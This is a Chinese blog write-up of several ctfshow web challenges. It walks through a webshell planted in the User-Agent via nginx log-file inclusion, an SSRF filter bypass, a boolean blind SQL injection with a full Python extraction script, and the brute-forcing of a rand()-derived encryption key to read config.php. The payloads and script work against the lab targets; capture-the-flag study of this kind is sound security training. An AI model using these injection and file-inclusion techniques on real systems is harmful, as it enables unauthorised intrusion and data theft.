ctfshow_web_AK赛

日常刷题,在此记录一下

签到_观己

看题目代码

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match('/php/i', $file)){
        die('error');
    }else{
        include($file);
    }

}else{
    highlight_file(__FILE__);
}

?>

看到include肯定都会想到使用伪协议啊啥的读取flag文件。但是这里过滤掉了php大小写关键字,所以伪协议在这就不能用了。我们还可以利用日志包含。抓包可以发现是nginx的服务器。

而nginx的日志路径为/var/log/nginx/access.log(小知识点)。通过这个路径我们可以访问到它的日志内容。

可以发现,日志中有访问的地址和UA的信息,那么我们就可以把木马写在UA头里,并记录在日志里面。

然后 访问日志  发现输出有666,则说明木马已经被传进去了。

接着通过蚁剑连接,在根目录下找到flag。

web1_观字 

打开题目直接给了源码。

<?php

#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
    $url = $_GET['url'];
    $protocol = substr($url, 0,7);
    if($protocol!='http://'){
        die('仅限http协议访问');
    }
    if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
        die('仅限域名地址访问');
    }
    system('curl '.$url);
}

flag告诉我们了,在这个链接里面。最关键的就是要绕过正则的限制。可以看出点被过滤了,在curl命令下,句号是可以代替点的,并且句号没有被过滤,所以payload

?url=http://192。168。7。68/flag

成功得出flag。

这里过滤了0,没有过滤0的情况下,我们还可以转十进制访问。

web2_观星

打开题目是三篇文章。利用点就是参数id可以进行sql注入。过滤了很多东西,我们可以用fuzz测试过滤了哪些东西。

524长度的全部都是被过滤掉的,主要过滤了(union,like,=,’,空格,and,if,逗号,ascii,sleep)等(在进行fuzz测试的时候,线程不能调太高 ,会出现500) 测试发现在id参数可以进行运算。(数字型)

 那就可以用布尔盲注。常用的布尔盲注payload为1^if(ascii(substr('flag',1,1))=104,1,0) 题目中过滤了if。那么我们可以用另一种语句case(A)when(B)then(C)else(D)end,意思大概就是A如果等于B那就返回C否则返回D。

过滤了空格可以用()代替
过滤了逗号可以用from..for代替
过滤了and可以用^或or来代替
过滤了ascli可以用 ord代替
过滤了等号和like可以用regexp代替

总结下来能用的payload是

id=1^case(ord(substr(database()from(1)for(1))))when(102)then(2)else(3)end

该id运算好有两种情况,id=1^2和id=1^3。我们需要知道id=1^2的查询结果,测试一下发现为第三篇文章。

 我们记录关键信息I asked nothing就可以编写脚本了。

附上脚本

import requests
url = "http://e576e0ce-3634-40b4-a9b9-d97a15b78d37.challenge.ctf.show/index.php?id=1^"
flag = ""
for i in range(1,50):   #库名表名字段名以及flag的长度
    print("i="+str(i))
    for j in range(38,126):      # 可打印字符
        #payload = "case(ord(substr(database()from({})for(1))))when({})then(2)else(3)end".format(i,j)  #爆库
        #payload = "case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({})for(1))))when({})then(2)else(3)end".format(i,j) #爆表
        #payload = "case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({})for(1))))when({})then(2)else(3)end".format(i,j) # 爆字段
        payload = "case(ord(substr((select(group_concat(flag))from(flag))from({})for(1))))when({})then(2)else(3)end".format(i,j) #爆flag
        a = url+payload
        r = requests.get(a).text  #获取响应包信息
        if "I asked nothing" in r:
            flag+=chr(j)
            print(flag)
            break

成功跑出flag。

web3_观图 

打开题目查看源代码,发现一个可疑的地方,这个很像base64,但是解码为乱码。

 但是访问这个showImage.php就能得到源码了。

 <?php

//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
    $image=$_GET['image'];
    $str = openssl_decrypt($image, 'bf-ecb', $key);
    if(file_exists($str)){
        header('content-type:image/gif');
        echo file_get_contents($str);
    }
}else{
    highlight_file(__FILE__);
}
?> 

注释中告诉了你flag的位置和key的生成。代码本身就解释了那一段像base的密码的由来。目前的关键点就是key中有rand()函数,在php语言中,rand()函数的最大值是32768,那么我们就可以用php爆破出它的随机数。

<?php
for ($i=0; $i <= 32768; $i++) { 
	$key = substr(md5('ctfshow'.$i),3,8);
	$image="Z6Ilu83MIDw=";
	$str = openssl_decrypt($image, 'bf-ecb', $key);
	if($str!=''){
		echo $str;echo "<br>";
	}
}
?>

在诸多乱码中找到一个很像的。访问确实是那张图片。

 再写编程求随机数了。

<?php
for ($i=0; $i <= 32768; $i++) { 
	$key = substr(md5('ctfshow'.$i),3,8);
	$image="Z6Ilu83MIDw=";
	$str = openssl_decrypt($image, 'bf-ecb', $key);
	if($str=='1.jpg'){
		echo $i;
	}
}
?>

得出来随机数是27347,那么就直接对config.php加密就行了。

<?php
$key = substr(md5('ctfshow'.'27347'),3,8); 
$str = openssl_encrypt("config.php","bf-ecb",$key);
echo $str;
?>

加密得到N6bf8Bd8jm0SpmTZGl0isw==。再通过image传参,会发现图片无法显示,ctrl+s保存为php后缀的文件查看就是flag。

结语

还有最后一个题知识面没有涉及到,所以就没有复现。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XiLitter

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值